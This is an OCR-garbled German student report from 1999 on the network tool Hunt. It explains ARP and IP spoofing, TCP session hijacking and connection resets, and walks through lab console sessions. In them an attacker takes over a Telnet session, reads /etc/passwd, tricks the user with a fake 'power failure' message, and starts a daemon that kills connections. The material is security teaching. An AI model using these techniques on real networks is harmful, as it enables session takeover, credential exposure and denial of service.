UberwachenundManipulierenvon
TCP/IP-\érbindungemit Hunt

Ein BerichtausderProjektarbeitim Rahmerder
Vorlesunginformationssicherheit
von Prof. Dr. HartmutPohl
im Sommersemestd®99anderFachhochschul®hein-Sig

ThomasHungenbey
und
StepharBaum

14. Juni1999



Inhaltsverzeichnis

1 Wasist Hunt?
1.1 Allgemeines. . . . . . . . .
1.2 LeistungsmerkmalgonHunt. . . . . ... ... ... ......
1.3 DasDesignvonHunt . . . .. .. ... ... ...........

2 TechnischeErlauterungen
21 IPSpoofing. ... ... .. . . ...
2.2 ARPSpoofing. . . . ... ... .. ..
2.2.1 HerkdmmlicheARP Spoofing. . . . . . .. .. ... ..
2.2.2 SpezielleARP SpoofingnHunt . . . ... .. ... ..
2.3 TransmissiorControlProtocol(TCP) . . . .. ... .. ... ..
2.4 “EntfGhren”von TCP-\erbindunger{Hijacking) . ... ... ..
2.4.1 EinfacheraktiverAngriff . . . . ... ... ... .....
242 ACKStorm. . ... ... ... .
2.4.3 Aktiver Angriff mit ARP Spoofing. . . . . ... ... ..
2.5 Verbindungsresynchronisation. . . . ... ... ... ... ..
2.6 Zurucksetzewon TCP-\erbindungen. . . . ... ... ... ..
2.7 Mitlesenvon Verbindunger{Sniffing/Watching). . . . . . .. ..
2.8 Umleitenvon Datenin einemEthernet-Switch . . . . . ... ..

3 Beispiele
3.1 Hiacking . . . ... ... ...
3.2 Automatische&urucksetzewon Verbindungen. . . . . ... ..

Arbeitseinteilung

ThomasHungenbey: Kapitel 1 undKapitel 3.2
StepharBaum: Kapitel 2 undKapitel 3.1



1 Wasist Hunt?

1.1 Allgemeines

Hunt[1] ist ein Netzwerk-Dol mittelsdessemrmanEthernet-basiert€ CP/IP-\ér-
bindungenibernachen,in sie einbrecherund sie zurticksetzerkann. Es bie-
tet dazueinige Funktionen,die altere bekannteTools diesesGenres,wie zum
Beispiel Juggernauf{2], nicht bieten. Mit Hunt ist es beispielsweisendéglich,
auchauf Rechneiin einemandererkEthernet-Sgmentoderauf Rechnerin einer
geswithitenUmgelungzuzugreifenEin bemerlenswertederkmalvon Huntist
aulRerdemgalVerbindungemachdemHijacking nicht zwingendzuriickgesetzt
werdenmussensonderrwiedermit dem“wahren”Client synchronisiertverden
kénnen. Die Padcket Enginevon Hunt erlaubtauRerdendie Analyseund Mani-
pulationvon UDP-, ICMP-undARP-\erkehr. Huntunterscheidetichtzwischen
lokalenVerbindungerund Verbindungeniberdasinternet. Es arbeitetmit allen
Verbindungendglie es“sieht”.

1.2 Leistungsmerkmalevon Hunt

¢ Verwaltungvon Verbindungen

— Festlgungder“interessanten¥erbindungefmdglich

— ErkennervonausgehendeévierbindungeriauchohneSYNStart, siehe
Nr. 2.3)

— Mitlesenvon Verbindungen
— AktivesHijacking mit Erkennungvon ACK Stormg(sieheNr. 2.4.1)

— ARP Spoofed/NormaHijacking mit Erkennungeineserfolgreichen
ARPSpoofqsieheNr. 2.4.3

— Resynchronisierunger Verbindungmit dem “wahren” Client nach
dem Hijacking, so dal3die Verbindungnicht zurtickgesetztverden
muf3(sieheNr. 2.5)

— Zurucksetzewon VerbindungerfResettingsieheNr. 2.6)
e DamonenR

— ReseDaemorzur automatischedurticksetzungiller Verbindungen



— ARP Spoof/Relayebaemonfir dasARP Spoofingron Rechnermit
derMoglichkeit, alle PaketedesgespoofterRechnersveiterzuleiten

— MAC DiscoveryDaemorzum Sammelrnvon MAC-Adressen

— Snif Daemonzum Mitschreibenvon Verbindungemmit der Méglich-
keit, nachbestimmterZeichenlettenzu suchen

o Weiteres

— ErweiterbarePadket Enginezur Uberwachungvon TCP. UDP, ICMP
und ARP Paketen

— ErkennungwelcheRechneeerreichbassind

— Rechnerin einer geswithten Umgelung kénnenebenélls gespooft
sawie ihre Verbindungemitgeleserund gehijadt werden

1.3 DasDesignvon Hunt

Hunt basiertauf einer Padket Enging welchein einemeigenenThread lauft
und PaketeausdemNetzwerkfiltert. Die Packet Enginesammeltinformationen
Uber TCP-\erbindungenjhren Auf- und Abbau, Sequenznummerand MAC-
Adressen. Die gesammelterinformationenstehenverschiedeneiodulenzur
Verfugung sodal3diesenicht selbstandigienNetz\erkehranalysieremmussen.
Module kbnnenFunktionenbei der Packet Engine“anmelden”,so dal3die-
seautomatischaufgeruferwerden,wennein neuesPaket empfangenwird. Eine
bestimmte~unktioneinesModulsentscheidetpb dasPaket fir dasModul “inter-
essant’ist odernicht undfligt dasPaket dannggf. einermodulspezifischehiste
von Paketenhinzu. DasModul holt sichdanndie PaketeausderListe undverar
beitetsie. Auf dieseWeiselassersich sehreinfachneueModule entwiclkeln, die
unterschiedlichst®perationerauf denPaketdaterausfihren.

1Quell-undZiel-Adressersawie -PortspotentiellerVerbindungeniiberdie fir denAngreifer
interessant®atenibermitteltwerdenkdnnten.

2Als DamonerbezeichnemanProzessewelchenicht anein Kontrollterminalundi. A. auch
nichtaneinenBenutzegehundensind. Siearbeiterim Hintergrund, erledigenverwaltungsaufga-
benundstellenDienstleistungnzur Verfligung.Die Damonenvon Hunt sindallerdingslediglich
Programmteiledie in seperateMhreaddaufen.

3Ein Threadist ein einzelnersequentielleKontrollfluRinnerhalbeinesProgramms.



EinebeiderPacket Engineangemeldet&unktionkannauf3erdensehrschnell
(d. h. ohnegroéZereverzogerungenpaketeauf dasNetz sendenywenndiesndtig
ist (z. B. fur ARP Spoofing).

Pakete,die als“Antwort” auf dasNetzgesendetverden sindin festenStruk-
turenbeschriebenDiesesindbereitsmit dendurchdie Verbindungvorgegebenen
Wertengefullt und die Berechnungler Checksummemgeschiehebenélls auto-
matisch.Zur Zeit existierendazuFunktionerfir TCP-,ICMP- undARP-\erkehr.



2 TechnischeErlauterungen

Um die Funktionsweise&on Hunt versteherzu konnenwerdenim folgenderzu-
nachsteinigetechnischeDetailserlautert. Dabeiwird insbesonderbericksich-
tigt, wie dieseBegriffe in Huntverwendewerden.

Einige der folgendenErlauterungerbeziehensich auf diese beispielhafte

Rechneranordnung:

Rechner A (Server) Rechner B (Client)
1P: 10.0.0.1 1P: 10.0.0.2
MAC: 11:11:11:11:11:11 MAC: 22:22:22:22:22:22

Ethernet
Rechner C (Angreifer)
IP: 10.0.0.8
Abbildung 1 MAC: 88:88:88:88:88:88

2.1 P Spoofing

Wennein Rechnetin vonihm versandtdatenpakteeinefalschelP-Adressels
AbsendeeintragtsobezeichnemandiesalsIP Spoofing Durchdieses/erhalten
bleibteinemempfingendem®echnediewirkliche IdentitdtdesAbsenderaufIP-
Ebeneunddarubewerbogen.

Zum BeispielkdnnteRechnerC in Abb. 1 in einemIP-Paket als Absender
adressd0.0.0.2angebenymandererRechnernm Netzvorzutauschergal3nicht
erdasPaketsendetsonderrRechneiB. WennbestimmteBerechtigungemnur fur
denRechnemit derlP-Adressel0.0.0.Zreigegebenwaren konntederAngreifer

4Wir gehenhier immer davon aus,daRein Rechneran ein IP-Netzauf Ethernet-Basisinge-
schlosserist.



soversuchenglieseBerechtigungefiir sichzunutzen.

2.2 ARP°® Spoofing

Allgemeine<Ziel desARPSpoofingsst es,durchVerwendunginerfremdenoder
einerunbenutzteMA C-Adressé die IdentitatdesbenutzterRechnergu verber

genbzw. eineanderddentitatvorzutduscherDieswird in Huntje nachEinsatz-
zweckaufzweiverschiedeneWegenerreicht.

2.2.1 Herkdmmliches ARP Spoofing

Ublicherweiseverstehtman unter ARP Spoofingdas Eintrageneiner falschen
MAC-Absenderadressa ein Datenpakt. Dies ist alsodemIP Spoofingsehr
ahnlich,unterscheidesichaberdadurchdal’die FalschungiichtaufIP- sondern
auf MAC-Ebenestattfindet. Wird diesmit IP Spoofingkombiniert,so kannein

empfingendeRechnenichtmehraufdie IdentitditdesAbsenderschlieRenyveil

dazudannjeglicher Anhaltspunkfehilt.

2.2.2 SpeziellesARP Spoofingin Hunt

Als ARP Spoofingbezeichnetler Autor von Hunt eineweitereVorgehensweise,
mit der einembestimmterRechnereine falscheZuordnungvon IP- und MAC-
Adresserfaufgezwungeniverdenkann.

Dabei ist entscheidenddal’ ein Rechnernach dem Empfang eines ARP-
Request-Rketesdiesesdaraufhiniberprift, ob die ausdiesemPaket ersichtli-
cheZuordnungvon IP- und MAC-AdressadesAbsendersnit denDatenin sei-
nem ARP-Cachelibereinstimmit. Ist dies nicht der Fall, dann Gibernimmtder
empfingendeRechnerautomatiscidie Zuordnungausdem ARP-Request-&ket
(vgl. [3]).

Beispiel:RechnelA in Abb.1 hatin seinemARP-CachdolgendeZuordnung
gespeichert:

IP 10.0.0.2 — MAC?22:22:22:22:22:22

SARP = AddressResolutionProtocol;damitkanndie zu einerIP-AdressegehérendéVAC-
Adressdn einemEtherneermitteltwerden.

SMAC-AdressersindHardware-Adressenon Ethernet-AdapterrDieseAdressendentifizie-
ren- zumindestheoretisch eindeutigiedenEthernetadaptaveltweit (vgl. [5]).




Dasheil3t,alle Datenpakte,die RechnerA an RechneB (IP-Adresse€l0.0.0.2)
senderwill, schickterandieo. g. MAC-Adresse.

Der Angreifer (RechnerC) sendetnun ein ARP-Request-&et an Rechner
A, mit demer nachder MAC-Adressezu einerbeliebigenlP-Adressdragt. Als
Absendetragterin seinARP-Request-&ket aberdie IP-Adressevon RechneB
undeinefalscheMAC-Adresseein:’

ABSENDER-IP : 10.0.0.2
ABSENDER-MAC:55:55:55:55:55:55

Wie bereits oben erlautert, hat dies in fast allen Implementierungerdes IP-
Protololistackszur Folge, dal3 RechnerA die richtige Zuordnungvon IP- zu
MAC-Adresseaus seinemCacheldschen,und stattdesserie oben gezeigte,
falscheZuordnungausden Absenderadressam ARP-Request-&ket Giberneh-
menwird.8Von diesemZeitpunktanwird RechnerA alsoalle Daten,die eigent-
lich fir RechnerB bestimmtsind, an die falscheMA C-Adresseschiclen; diese
Paketewerdenvon RechneB deshallmichtempfngen.

Damit einzigder ARP-Cachevon RechnerA gefalschiwird, sendetder An-
greiferdasARP-Request-&ket tibrigensnicht - wie tblich - als Broadcastson-
derngezieltanRechnelA.

2.3 TransmissionControl Protocol (TCP)

Zum weiteren Verstandnisist die Kenntnis einiger Eigenschaftendes TCP-
Protololls erforderlich,die hier kurz undvereinfadt daigestelltwerden.[4]

TCP-\erbindungersind verlaliliche pi-direktionalepaket-orientierteVerbin-
dungenzwischenzwei Rechnern. JederVerbindungsaufbabeginnt mit einem
Segment,in demdasSYN-Bit (Synchronizesequenc@umbers)gesetzist. Um
Daterverlustebei der UbertragungauszuschlieRergahlt jeder Rechnerdie von
ihm bereitsgesendeteBytesmit undtragtdieseAnzahl(evtl. zzgl. derAnfangs-
Sequenznummedieabern. d. R. Qist) alssog.Sequenznummaer seineDatenpa-
keteein. Als Empfangsbestatigungendeider Empfangerein sog. ACK-Pakef,
in demer die NummerdesnachstererwarteterByteseintragt.

’Sinnvoll warehier die MAC-AdressedesAngreifersselbstodereineim lokalenNetz unbe-
nutzteAdresse.

8Die einzigebekannteAusnahmaest derIP-Stackvon SunSolarisVersion2.5,dahier Eintrage
im ARP CacheerstnacheinerbestimmterZeit, z. B. 20 Minuten, verfallen.

SACK ist die Abkiirzungfiir Acknowledge-Nachrichtehei TCP-\erbindungerfAcknowledge
(engl.)= Bestatigung).



Gehtauf dem Ubertragungswe ein Paket verloren, so fallt dasdurch die-
sesVerfahrenunmittelbarauf, daerwarteteund gesendet&equenznummaenicht
Ubereinstimmen.In diesemFall sendetder Empfangerein ACK-Paket an den
Senderin demeralsSequenznummelie NummerdesersterBytesin demverlo-
renggangeneiPaketeintragt.Dadurchwird derSendezumerneuterUbertragen
desfehlenderPaketesveranlalit.

2.4 “Entfihr en” von TCP-Verbindungen (Hijacking)

Hierbeigehtesdarum,eigenePaketein einebestehend&CP-\erbindungeinzu-
schleusenBei einerTelnet-\erbindungkénntemansoz. B. BefehlezumL&schen
von Datenin denDatenstroneinfligen.

2.4.1 Einfacher aktiver Angriff

DieseAngriffsartist schonseitlangererZeit bekannt:® Dabeifiigt der Angrei-
fer ein odermehrereDatenpaktein einebestehend¥®erbindungzwischenzwel
Rechnerrein.

Dazu mufd der Angreifer in seinenPaketenals Absender und Empfanger
adressermie IP- und MAC-Adresserder an der VerbindungbeteiligtenRechner
eintragen. Ausserdemmuf3 der Angreifer vorher die TCP-\erbindungiiberva-
chen,damiter seinePakete mit denkorrektenSequenznummenverseherkann.
AnsonstenwirdenseinePakete von den beidenanderenrRechnerrals ungtiltig
erkannt.

Als Effekt diesesAngriffs wird die Verbindungdesynchronisiertind estritt
dersog. ACK Storm(sieheNr. 2.4.2)auf, derauchdie einzigeMoglichkeit zum
ErkenneneinessolchenAngriffs darstellt. Unglnstigerweis&annman so nur
Angriffe erkennendie bereitserfolgreichwaren. Eine Vorwarnungist alsonicht
maglich.

2.4.2 ACK Storm

Fugtein Angreiferbeim “einfachenaktiven Angriff” ein odermehrerePaketein
denTCP-Datenstronein, sowerdendie Sequenznummerpei demempfngen-
denRechnewie obenerlauterthochgezahilt.Da dieseAnderungder Sequenz-
nummermur aufdiesemeinenRetnergeschiehtist die Verbindungdesynchro-
nisiert.

0pjeserAngriff wurdeerstmalsdurchdasTool Juggernaufl] bekannt.
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BeimnéchsteriibertrageneRaketfallt dieseinemderbeidenRechneaufund
dieserwird deshalbseineGegenstellemit einem ACK-Paket daraufhinweisen.
Allerdings stimmt die SequenznummaetliesesACK-Paketesselbstauchnicht,
weshallbderandereRechnemwiederumein ACK-Paket senderwird, umebenélls
daraufhinzuweisen.

Bei denmeistenlP-Stackssteigertsich diesdannzum sog. ACK Storm bei
demimmer mehr ACK-Pakete hin und her gesendetverdent! Dieser Effekt
nimmt erstab, wenn durch Uberlastungdes NetzesPakete verlorengehen Ein
ACK Stormfiuhrt deshalldetztlich zum Zusammenbructer TCP-\erbindung.

2.4.3 Aktiver Angriff mit ARP Spoofing

Um denACK Stormzuvermeidenpestehtie Mdglichkeit, vor demeigentlichen
Angriff ein ARPSpoofingnachNr. 2.2.2durchzufiihrenDurchdieseManipulati-

onderZuordnungvon IP- und MAC-Adresse&dnnensichdie anderVerbindung
beteiligtenRechnemicht mehr miteinanderverstandigenda sie ihre Pakete an

falscheMAC-AdressersendenDeshallkanndasgegenseitigidufschaulelndes
ACK Stormsnichteintreten.

2.5 Verbindungsresynchionisation

Diesist einederbesondereMdaglichkeitenvon Hunt.

Hat der Angreiferbei einemaktivenAngriff mit ARP Spoofinglie gewiinsch-
ten Befehlebzw. Datenpaktein den Datenstromeingefiigt,so kann Hunt an-
schlieBendsersuchendie Verbindungwiedermit dem*“wahren”Client zu syn-
chronisieren. Im Fall einer Telnet-\érbindungsendeter dazu an den Client-
Rechnerdie Nachricht, dal3 der Benutzereine bestimmteAnzahl von Tasten-
drickenausfuhrersoll. Durchdie geschicktdBerechnunglieserAnzahlstimmen
die Sequenznummerauf Sener und ClientanschlieBen@viederibereinunddie
Verbindungst somitwiedersynchronisiert.

2.6 Zurucksetzenvon TCP-Verbindungen

Um eine bestehend&erbindungzwischenzwei Rechnerrunmittelbarzu been-
den,genlgkes,aneinendieserRechneeineinzigeaketzu sendendasfolgende
Kriterien erfullt (vgl. [4]):

IEine Ausnahmast z. B. derIP-Stackvon Linux KernelVersion2.0.
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e Die AbsenderadressntsprichdemandereranderVerbindungoeteiligten
Rechner

e DasReset-FlagRST)im TCP-Headerst gesetzt.

e Im Paketist dierichtige SequenznummaeyesetztdamitdasPaket nichtals
ungultigerkanntwird.

Prinzipiell gentgtes, wenn ein solchesPaket an einender beteiligtenRechner
gesandtvird.

2.7 Mitlesen von Verbindungen (Sniffing/Watching)

SnifingbezeichneallgemeindasMitlesenbzw. AufzeichnenvonDaten diewah-
rendeinerVerbindungibertragewerden.DieseDatenkdnnendannnachbelie-
bigenKriterien ausg&vertetwerden.Denkbarwéarez. B. die gezielteSuchenach
UbertrageneRallwortern.

Als spezielleForm desSnifing unterstitztHunt dassog. Watching. Dabei
werdendie empfangenerDatensofortam Bildschirm angezeigt.Dadurchkann
manz. B. unbemerkimitlesen,welche Befehle,Paliworte etc. wahrendeiner
Telnet-Sitzungeingeggebenwerden. Mit Hunt ist es méglich, eine Verbindung
zuerstlediglich mitzulesenum sie dannzu einemgunstigenZeitpunktnachNr.
2.4.1oderNr. 2.4.3anzugreifen.

2.8 Umleiten von Datenin einemEthernet-Switch

Ein Ethernet-Switclsogt daftir da3Paketenurin die Netzsgmentelibertragen
werden,n denendie Zielrechnerzu findensind. DurchARP SpoofingkannHunt
eine fremde MAC-Adressevortauschemund so einen Switch dazuveranlassen,
dalRer Pakete,die eigentlichftir einenRechnein einemandererNetzsgmentbe-
stimmtsind,andenRechnemumleitet,auf demHuntlauft. DurchdieseFahigleit
kannHunt auchin geswitchteldmgelungenVerbindungerbeobachtemnd ggf.
angreifen.

Esist moglich, einenSwitch so zu konfigurierendal3diesuntertundenwird
bzw einenAlarm auslést;solcheKonfigurationersind jedochnur sehrseltenzu
finden.
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3 Beispiele
Zur besserehesbarleit sinddie folgenderBeispielewie folgt formatiert:

e Ein- undAusgaberaufdemRechnedesAngreiferssteherinksbindig.

e Ein- und Ausgabenauf dem anzugreifenderClient-Rechnersind einge-
ruckt.

e Benutzereingabesindfett gedruckt.

3.1 Hijacking

Esfolgt nunein Beispielfiir einenHijacking-Angriff mit ARP Spoofing(vgl. Nr.
2.4.3).DaessichbeiHuntumeineKonsolenanwendurghandeltjst die Darstel-
lung nicht sehriibersichtlich.Aus diesemGrundwerdenhier nur die relevanten
Ausgabervon Huntgezeigt.

Im folgenden Beispiel versuchtder Angreifer, eine bestehendeTelnet-
Verbindungzu tbernehmemind eigeneBefehleeinzufigenum die Verbindung
anschlielBendvieder zu resychronisiererund an den angegriffenen Rechner
zurtckzugeben.

Der Angreifer startetHunt auf seinemRechnerund bekommt das Hauptmenu
angezeigt.

angreifer:"# hunt
/*
* hunt 1.3
* multipurpose connection intruder [ sniffer for Linux
* (c) 1998 by kra
*
starting hunt
Main Menu --- rcvpkt 0O, free/alloc 64/64 ------
IAwir) list/watch/reset connections
u) host up tests
a) arp/simple hijack  (avoids ack storm if arp used)
s) simple  hijack
d) daemons rst/arp/sniff/mac
0) options
X) exit
*>

12K onsolenanwendungarerdenim Gegensatzu GUI-AnwendungerfGUI = GraphicalUser
Interface)nichtin einemgraphischerfrenstersonderrin einemTextfensterausgefihrt.
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Der Benutzerdes Client-Rechnerdaut eine Telnet-\érbindungzum
Senerauf.

client:"$ tel net server. donain. net
Trying 10.0.0.1...

Connected to server.domain.net.
Escape character is 7.

Linux 2.0.36 (server.domain.net)

server login: testuser

Password: <t est passwort >

Welcome to server.domain.net

Last login: Mon Jun 07 14:23:17 on :0 from console
No mail.

Tue Jun 08 09:14:03 MEST 1999

server:”$

Der Angreifer [&3t sich die aktuell bestehendeiielnet-\érbindungenvon Hunt
anzeigen. Zur Zeit bestehtnur die geradevom Client-Rechneraufgebaute
Verbindung.

> |
0) 10.0.0.2 [16545] > 10.0.0.1 [23]

Der Angreifer wahlt nun den Befehl zur Durchfiihrungdes aktiven Angriffs
mit ARP Spoofingaus. Hunt zeigt daraufhinwieder die Liste der aktuellen
Verbindungeran,damitdie anzugreifend&erbindungdarausausg&ahltwerden
kann.

-> a
0) 10.0.0.2  [16545] —-> 10.001 [23]

choose conn> 0

Jetzt fragt Hunt die Details zu dem geplantenAngriff der Reihe nach ah
Zunachstwird festgelgt, ob und wenn ja, mit welcher MAC-Adressebei
Client und Sener ein ARP Spoofingdurchgefuhrtverdensoll. Hunt schlagtda-
zuzweiunbenutztdMAC-Adressenor, die einfachiibernommenmverderkénnen.

arp spoof src in dst yin [y]> vy
src  MAC[EA:1A:DE:AD:BE:01]> [Enter]
arp spoof dst in src yin [y]> vy
dst MAC[EA:1A:DE:AD:BE:02]> [Enter]

13



Nun wird festgelgt, ob nur die vom Client, nur die vom Sener oder die von
beidenRechnerrubertragene®atenangezeigiverdensollenundob Client- und
Sener-Daten durch verschieder#rbige Buchstabenunterscheidbadagestellt
werdensollen. Esfolgt der Hinweis, dal3die TCP-\erbindungdurchdie Tasten-
kombinationCtrl-C ibernommenverdenkann.

dump connection y/n [y]> vy
dump [s]rc/[d]st/[b]oth [b]> b
print  src/dst same characters </n [n]> n

Ctrl-C  to break

Der Client-Benutzetal3tsichgeradeein Verzeichnisauflisten.

client”™$ Is -1

total 58

drwxr-xr-x 2 root root 1024 Mar 20 00:43 privat
drwx------ 2 root root 1024 Mar 19 20:03 secret
drwxr-xr-x 2 root root 1024 Mar 30 18:57 work
$

HuntzeigtdieseDatenauf demBildschirmdesAngreifersan.

Is -l

total 58

drwxr-xr-x 2 root root 1024 Mar 20 00:43 privat
drwx------ 2 root root 1024 Mar 19 20:03 secret
drwxr-xr-x 2 root root 1024 Mar 30 18:57 work
$

Der Angreifer versuchtnun, die Verbindungzu tbernehmenjndem er die
TastenkbmbinationCtrl-C eingibt.

[Ctrl-C]

-- press any key> [Enter]
you took over the connection
CTRL-] to break

Die Verbindungwurde erfolgreich ibernommen. Jetzt kann der Angreifer
beliebigeBefehle eingeben,die auf dem Sener so ausgefuhriwerden,als ob
sie vom Client-Benutzerstammten. Die Ausgabender Befehle werdendem
Angreiferebenélls angezeigt.
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cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
man:x:6:100:man:/var/catman:/bin/sh
Ip:x:7:7:Ip:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/spool/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
list:x:38:38:SmartList:/var/list:/bin/sh

alias:x:70:65534:gmail alias:/var/gmail/alias:/bin/sh
nobody:x:65534:65534:nobody:/home:/bin/sh
$

WahrenddiesesAngriffs siehtesfir denClient-Benutzeso aus,als ob die Ver-
bindung,z. B. wegenNetzproblemen;tot” sei. Alle Tastatureingaberdie er
macht,werdenihm selbstnichtangezeigtder Angreiferkannsiejedochsehen.

Der AngreifermdchtedenAngriff nunbeendenundversuchtdie Verbindung
wiederandenClient zurtickzugeben.

Crl-]

[rleset connection/[s]ynchronize/[n]Jone [r]> s

user have to type 16 chars and print 1357 chars to synchronize connection
CTRL-C to break

Auf dem Client-Rechnemwird nun folgenderText angezeigtder dem

Benutzervortauschensoll, dafl3 die Verbindungwegen technischer
Probleme gestért war und sie durch Eingeben einer Anzahl von

Buchstabenviederreaktviert werdenkann.

msg from root:  power failure - try to type 16 chars

gqwert zui opgwert z
power failure detected
power resumed, ok

Der Client-Benutzerkann mit der Verbindungnun normal weiterar
beitenunddemAngreiferwird die erfolgreicheResynchronisatioder
Verbindungoestatigt.

done

Der Angriff ist damitbeendet.
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3.2 AutomatischesZuriicksetzenvon Verbindungen

Mit Hilfe desResetDaemonskann man automatischbestimmteVerbindungen
zuriicksetzenlm KonfigurationsmenilesDamonslafit sich einstellen,welche
Verbindungerbeendetverdensollen. Dabeikdnnendie Quell- und Zielrechner
(bzw. kompletteTeilnetze)sowie die Quell- und Ziel-Portsanggebenwerden.
Weiterhinkonfigurierbaist, obnurVerbindungemeendetverdensollen,dienach
dem Startdes Damonsneu aufgebautwerdenoder ob auchbereitsbestehende
Verbindungerzurickgesetawverdensollen(SYNflag on/off).
Nachdemdie gewiinschtenVerbindungsparametén der Konfigurationein-

getragerund der Damongestartewvurde, beendetr im folgendenautomatisch
alle Verbindungendie er“sieht” unddie aufdie eingestellteParametefpassen”.

Ein BenutzerdesRechnersclient” mit der IP-Adressel0.0.0.2kann
sichproblemlosauf demRechner'server” mit derIP-Adressel0.0.0.1
pertelneteinloggen.

client."$ tel net server. donmuai n. net

Trying 10.0.0.1...

Connected to server.domain.net.

Escape character is .

Password: <passwort >

Linux server 2.0.36 #1 Wed Mar 24 11:26:45 CET 1999 i686 unknown

Last login: Fri. May 28 14:56:24 on ttypl from client.domain.net.
No mail.
server:"$

Der Angreifer startetnun Hunt auf demRechner‘angreifer’ mit der IP-Adresse
10.0.0.8.

angreifer:"™# ./ hunt
/*
* hunt 1.3
* multipurpose connection intruder [ sniffer for Linux
* (c) 1998 by kra
*
starting hunt
Main Menu --- rcvpkt 0, free/alloc 64/64 ------
1/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack  (avoids ack storm if arp used)
s) simple  hijack
d) daemons rst/arp/sniff/mac
0) options
X) exit
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Er wahltdasMeni“Daemons”.

> d

--- daemons --- rcvpkt 734, free/alloc 63/64 ------
r) reset daemon

a) arp spoof + arp relayer daemon

s) sniff  daemon

m) mac discovery  daemon

X) return

Danachwahlter den“resetdaemon’”.

-dm> r

--- reset daemon --- rcvpkt 923, free/alloc 63/64 ------
s/k) start/stop daemon

) list reset database

a/m/d) add/mod/del entry

X) return

Nunflgt er mit “add entry” einenEintraghinzu.

-rstd>  a

src ip addr/mask ports [0.0.0.0/0]> 10.0.0.2

dst ip addr/mask ports [0.0.0.0/0]> 0.0.0.0/0 tel net
mode [s]rc/[d]st/[b]oth [b]> [Enter]

reset only syn y/n [y]> [Enter]

insert at [0]> [Enter]

--- reset daemon --- rcvpkt 1700, free/alloc 63/64 ------
s/k) start/stop daemon

) list reset database

a/m/d) add/mod/del entry

X) return

Mittels “list resetdatabase”kann er sich nun nocheinmaldie Liste der zu
beendendeNerbindungeransehenDer ersteundin diesemFall einzigeEintrag
besagtdalialle (0.0.0.0/0)Telnet-\erbindunger{Port23), die von Rechner‘cli-
ent” (10.0.0.2/0ausgeherheendetverdensollen.Dabeisoll die Verbindungauf
beidenSeitenzurtickgesetaiverden(“both”). Essollenjedochnur Verbindungen
zuruckgesetawverdendie nachdemStartendesResetDamonsaufgebautverden
(“SYN only”).
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-rstd> |

0) 10.0.0.2/0 [all] --> 0.0.0.0/0 [23] rst both SYN only
--- reset daemon --- rcvpkt 1963, free/alloc 63/64 ------
s/k) start/stop daemon

) list reset database

a/m/d) add/mod/del entry

X) return

Als néchstestartetder AngreiferdenResetDamon.

*rstd> s

rst daemon started

--- reset daemon --- rcvpkt 14432, free/alloc 63/64 ---R---
s/k) start/stop daemon

1) list reset database

a/m/d) add/mod/del entry

X) return

*rstd>

Wennnunein BenutzerdesRechnersclient” versuchtsich pertelnet
auf dem Rechner“server” einzuloggen,wird die Verbindungsofort
durchdenvom AngreifergestarteteiResetDamonbeendet.

client."$ tel net server. donui n. net
Trying 10.0.0.1...

Connected to server.domain.net.
Escape character is .

Connection closed by foreign  host.
client:™$

Wahrendder ResetDadmonauf demRechnerdesAngreiferslauft, ist esal-
so keinemBenutzerdesRechners'client” mehrmdglich, sich auf irgendeinem
andererRechnepertelneteinzuloggen.
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